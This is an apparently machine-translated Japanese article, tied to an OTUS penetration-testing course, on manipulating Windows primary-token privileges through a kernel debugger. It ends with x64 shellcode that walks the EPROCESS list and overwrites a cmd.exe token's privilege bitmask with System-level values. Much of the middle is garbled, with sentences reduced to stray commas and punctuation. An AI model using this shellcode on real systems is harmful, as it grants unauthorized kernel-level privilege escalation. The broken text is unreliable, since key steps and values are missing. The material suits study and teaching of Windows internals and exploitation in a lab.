Windowsトークン

OTUSの専門家-アレクサンダーコレスニコフは、「ペンテスト浸透試験の実践」コースの学生のために特別に書いた有用な記事を私たちと共有しました









次に、「Windows ADの情報収集、特権のエスカレーション。過去5年間の悪用と脆弱性」というトピックに関する無料のデモレッスンに参加するように、すべての人を招待します









前回の記事では、エクスプロイトがトークンコピー技術を使用して特権をエスカレートする方法について説明しました。この記事では、トークンを変更するための別の手法を検討し、プライマリトークンに配置されている特権がどのように設定されているかを調べます。





この記事のすべての例は情報提供のみを目的としています。実験を繰り返したい場合は、仮想マシンを使用してください。一部のアクションは作業中のマシンに損傷を与える可能性があります。すべての実験は研究目的でのみ実行されます。





テストベンチのセットアップ

実験には、NATネットワーク上で動作する2台の仮想マシンが適しています。2つは、オペレーティングシステムのカーネルデバッグを実行する他の方法がないためです。また、NATネットワークでは、デバッグシンボルが存在するため、ソースコードなしでデータを検索する方が簡単で高速です。デバッガー設定はインターネットで利用できますが、Windows 10 1909オペレーティングシステムの場合と同様に、その下に数行あります。





1.デバッガーをインストールします。Windowsオペレーティングシステムの場合、Windbgプレビューのみがあります。インストールしてください。





2.ターゲットオペレーティングシステムをデバッグモードに移行します。





システムを再起動します。そして、デバッガーを含む2番目のマシンを開きます。





システムを再起動した後:





Windbg Preview , . . .





Token

, , , Primary Token. , Se* . , , :





  • SeAssignPrimaryToken





  • SeAudit





  • SeBackup





  • SeChangeNotify





  • SeCreateToken





  • SeDebug





  • SeLoadDriver





  • SeLockMemory





  • SeManageVolume





  • SeRestore





  • SeSecurity





  • SeTakeOwnership





, , . , “Security Descriptor”:





System. — dx @$cursession.Processes[4].KernelObject.Token







EXFAST_REF , , :





System:





, “Security Descriptor” , . :





, , :





- , BSOD. Windows , Windows 10 1607. , BSOD, “Security Descriptor” . , :





BSOD? , . , :





1. , :





2. cmd.exe



:





3. . :





, . - , - Integrity Levels , .





? . , : 0x1







BSOD , , . , , . , - — 0x100000







:





  • SeDebugPrivilege - 0x100000





  • SeAuditPrivilege - 0x200000





  • SeSystemEnvironmentPrivilege - 0x400000





  • SeCreatePermanentPrivilege - 0x010000





  • SeSystemtimePrivilege - 0x001000





  • SeSecurityPrivilege - 0x000100





  • SeLockMemoryPrivilege - 0x000010





, 6 . , , shellcode, , , . SEPTOKEN_PRIVILEGES _SEPTOKENPRIVILEGES+0x8.





— System , , .





netstat -ab



, . ? . , Windows , System , :





, , payload :





[BITS 64]

start:
mov r9, [gs:0x188]                ;KPROCESS/currentThread
mov r9, [r9+0x220]                ;EPROCESS   KTHREAD
mov r8, [r9+0x3e8]                ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9                           
loop1:
  mov rax, [rax + 0x2f0]       
  sub rax, 0x2f0                    ;KPROCESS
  cmp [rax + 0x2e8],r8              ; ProcessId
  jne loop1                         	  
mov rcx, rax                        ;   PID EPROCESS
add rcx, 0x360                        
mov rax, [rcx]                           
and rax, 0xFFFFFFFFFFFFFFF0
mov r8,  0x1e73deff20               ;System  
mov [rax+0x48],r8                   ; 
ret
      
      




". ".



"Windows AD , . 5 ."













All Articles